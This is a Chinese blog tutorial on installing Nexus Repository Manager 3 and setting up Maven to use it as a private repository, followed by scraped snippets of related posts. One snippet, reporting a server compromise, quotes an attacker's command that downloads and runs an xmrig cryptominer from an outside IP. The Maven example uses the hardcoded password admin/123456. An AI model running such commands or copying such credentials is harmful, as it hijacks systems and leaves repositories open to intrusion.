Nexus Repository Manager的应用

安装和运行Nexus Repository Manager很简单。您可以将存档文件解压缩到您有完全访问权限的目录中,也可以使用Docker映像安装它。

安装包下载:https://help.sonatype.com/repomanager3/download
安装参考文档:https://help.sonatype.com/repomanager3

1, 下载安装包
https://help.sonatype.com/repomanager3/download/download-archives---repository-manager-3

wget https://download.sonatype.com/nexus/3/latest-unix.tar.gz

2, 解压

tar xvzf nexus-3.19.1-01-unix.tar.gz

3, 修改默认的配置文件(etc/nexus-default.properties) 【可选】

这里主要用于修改端口号

4, 修改默认配置(bin/nexus.vmoptions)【可选】

一般情况下是不需要修改的。

5, 修改jdk配置【可选】
可以编辑bin/nexus脚本,找到“INSTALL4J_JAVA_HOME_OVERRIDE”,删除哈希并指定JDK/JRE的位置。

例如:

INSTALL4J_JAVA_HOME_OVERRIDE=/usr/lib/jvm/openjdk-8

6, 启动

./nexus run

使用run会使nexus在当前shell中运行。也可以使用start, stop, restart, force-reload 和status 指令。

7,访问


登录密码在文件/data/sonatype/sonatype-work/nexus3/admin.password中。




默认情况下,启用匿名访问将允许未经身份验证的下载、浏览和搜索存储库内容。可以通过编辑分配给匿名用户的角色来更改未经身份验证用户的权限。

Type列说明:
1) Proxy
默认创建了一个通过HTTPS访问中央仓库(https://repo1.maven.org/maven2/)的代理存储库。为了减少重复下载并提高开发人员和CI服务器的下载速度,还应该将访问的所有其他远程存储库代理为代理存储库

2) hosted
hosted Maven repository可用于部署自己的组件和第三方组件。默认情况下,创建了两个hosted Maven库,分别是maven-releases与maven-snapshots。一个用于发布版本策略,一个用于快照版本策略。

3) group
存储库组允许您使用一个URL公开多个代理和托管存储库以及其他存储库组的聚合内容以进行工具配置。建议使用存储库组将所有Maven存储库从存储库管理器公开给用户,而无需进一步的客户端配置。

8,仓库的操作

9,Maven中使用
1)编辑Maven的setting.xml文件

<settings>
  <mirrors>
            <!—配置一个镜像用于替代中央仓库 -->
            <mirror>
                <id>nexus</id>
                <name>nexus</name>
                <url>http://192.168.30.161:8081/repository/maven-public/</url>
                <mirrorOf>*</mirrorOf>
            </mirror>
  </mirrors>
  <servers>
            <server>
                <id>nexus</id>
                <username>admin</username>
                <password>123456</password>
            </server>
            <server>
                <id>realeases</id>
                <username>admin</username>
                <password>123456</password>
            </server>
            <server>
                <id>snapshots</id>
                <username>admin</username>
                <password>123456</password>
            </server>
  </servers>
</settings>

2)编辑项目下的pom.xml文件

    <!-- 远程仓库地址 -->
    <pluginRepositories>
        <pluginRepository>
            <id>nexus</id>
            <name>Team Nexus Repository</name>
            <url>http://192.168.30.161:8081/repository/maven-public/</url>
        </pluginRepository>
    </pluginRepositories>
   <!-- 配置远程发布到私服,mvn deploy -->
    <distributionManagement>
        <!-- 定义releases库的坐标 -->
        <repository>
            <id>releases</id>
            <name>Nexus Release Repository</name>
            <url>http://192.168.30.161:8081/repository/maven-releases/</url>
        </repository>
        <!-- 定义snapshots库 -->
        <snapshotRepository>
            <id>snapshots</id>
            <name>Nexus Snapshot Repository</name>
            <url>http://192.168.30.161:8081/repository/maven-snapshots/</url>
        </snapshotRepository>
    </distributionManagement>

插件

<!-- deploy时只上传jar包到远程仓库的配置 -->
            <plugin>
                <artifactId>maven-deploy-plugin</artifactId>
                <version>2.7</version>
                 <configuration>
                                    <!-- 更新元数据 -->
                                    <updateReleaseInfo>true</updateReleaseInfo>
                                </configuration>
                <executions>
                    <execution>
                        <id>default-deploy</id>
                        <phase>deploy</phase>
                        <goals>
                            <goal>deploy</goal>
                        </goals>
                        <!-- skip默认deploy插件的执行 -->
                        <configuration>
                            <skip>true</skip>
                        </configuration>
                    </execution>
                    <execution>
                        <id>deploy-file</id>
                        <phase>deploy</phase>
                        <goals>
                            <goal>deploy-file</goal>
                        </goals>
                        <configuration>
                            <!-- 开发阶段上传到snapshot仓库,上线阶段上传到release仓库 -->
                            <repositoryId>${project.distributionManagement.snapshotRepository.id}</repositoryId>
                            <url>${project.distributionManagement.snapshotRepository.url}</url>
                            <file>${project.build.directory}/${project.artifactId}-${project.version}.jar</file>
                            <groupId>${project.groupId}</groupId>
                            <artifactId>${project.artifactId}</artifactId>
                            <version>${project.version}</version>
                        </configuration>
                    </execution>
                </executions>
            </plugin>

如此,通过mvm deploy就可以将jar包上传到私服仓库下。

原文地址:https://blog.51cto.com/dengshuangfu/2454961

时间: 2024-07-30 19:29:20

Nexus Repository Manager的应用的相关文章

Nexus Repository Manager 3 RCE CVE-2019-7238

Nexus Repository Manager 3 RCE CVE-2019-7238 0x00 参考链接 https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019 0x01 影响版本 Nexus Repository

Maven私服搭建(Nexus Repository Manager 3)

下载和安装 下载地址:https://help.sonatype.com/repomanager3/download 注意:Nexus Repository Manager 3是一个Java服务器应用程序,安装需要 jdk1.8以上的版本. 下载解压后,用命令行到解压目录的bin目录下运行 nexus.exe /run(Linux运行./nexus run),启动完成后会显示"Started Sonatype Nexus": ------------------------------

Nexus Repository Manager OSS 代理p2源

用maven管理构建Eclipse RCP项目时,可能会用到p2源: http://download.eclipse.org/releases/mars/ 内网用户肯定希望能通过nexus服务器代理,就像其它maven源一样. 这个可以通过给nexus安装p2插件实现 : “nexus-p2-repository-plugin”  和 “nexus-p2-bridge-plugin” Nexus 专业版默认是有这两个插件的,Nexus OSS版本需要手动下载. -----------------

Nexus Repository Manager 搭建私有docker仓库

使用容器安装Nexus3 1.下载nexus3的镜像: docker pull sonatype/nexus3 2.使用镜像启动一个容器: docker run -d --name nexus  --restart=always -p 5000:5000 -p 8081:8081 sonatype/nexus3 注:5000端口是用于镜像仓库的服务端口   8081 端口是nexus的服务端口 3.启动之后我们就可以通过http://服务器IP:8081访问. 默认账号密码为admin/admi

使用 Nexus Repository Manager 搭建私有docker仓库

docker pull sonatype/nexus3 2.使用镜像启动一个容器: docker run -d --name nexus  --restart=always -p 5000:5000 -p 8081:8081 sonatype/nexus3 注:5000端口是用于镜像仓库的服务端口   8081 端口是nexus的服务端口 3.启动之后我们就可以通过http://服务器IP:8081访问. 默认账号密码为admin/admin123 通过浏览器访问Nexus: http://服务

Nexus Repository Manager 使用笔记

在使用maven是,因内外网限制往往需要配置自由的maven库,小编看见网上教程数不胜数,遍主动试试 以下是下载地址 : http://www.sonatype.com/download-oss-sonatype 小编因为选择了3.0   呵呵呵,这是一个坑,后续再说,先上图: maven的版本无论是公司库还是等等比较常见的都是2.x   3.0版本是2016年4月才出来的,改善了很多体验,如可自动安装等优先,不用在像2.x版本去手动选择了,而且目前是自动部署,安装一步一步点击就到了如下界面.

Nexus Repository Manager 3.0 发布

著名仓库管理工具Nexus,在2016年4月6日发布3.0版本(包括OSS版),相较2.*版本有很大的改变: 1. 从底层重构,从而提高性能,增强扩展能力,并改善用户体验 2. 升级界面,增加更多的浏览,搜索和管理功能 3. 提供安装包,使部署更简单(安装完自动添加成服务,省去手动添加的麻烦) 4. 增加 Docker,NuGet,npm,Bower的支持 5. 提供新的管理接口,从而能自动管理任务. 注意: 3.0只能运行在JVM1.8下 看到能支持Docker仓库,还是挺令人兴奋的.赶快看一

Sonatype Nexus Repository Manager版本3.14.2访问控制缺失及远程代码执行漏洞

发现被执行的程序在xmrig在 /var/tmp/目录下 curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o /var/tmp/config.json http://202.144.193.159/22.json;chmod 777 /var/tmp/xmrig;cd /var/tmp;setsid ./xmrig -c config.json & config.json内容如下: { "algo": &quo

Sonatype Nexus Repository Manager清除无用的docker镜像

1.创建定时任务 2.先run一下看是否能删除无用镜像 原文地址:https://www.cnblogs.com/linyouyi/p/10899082.html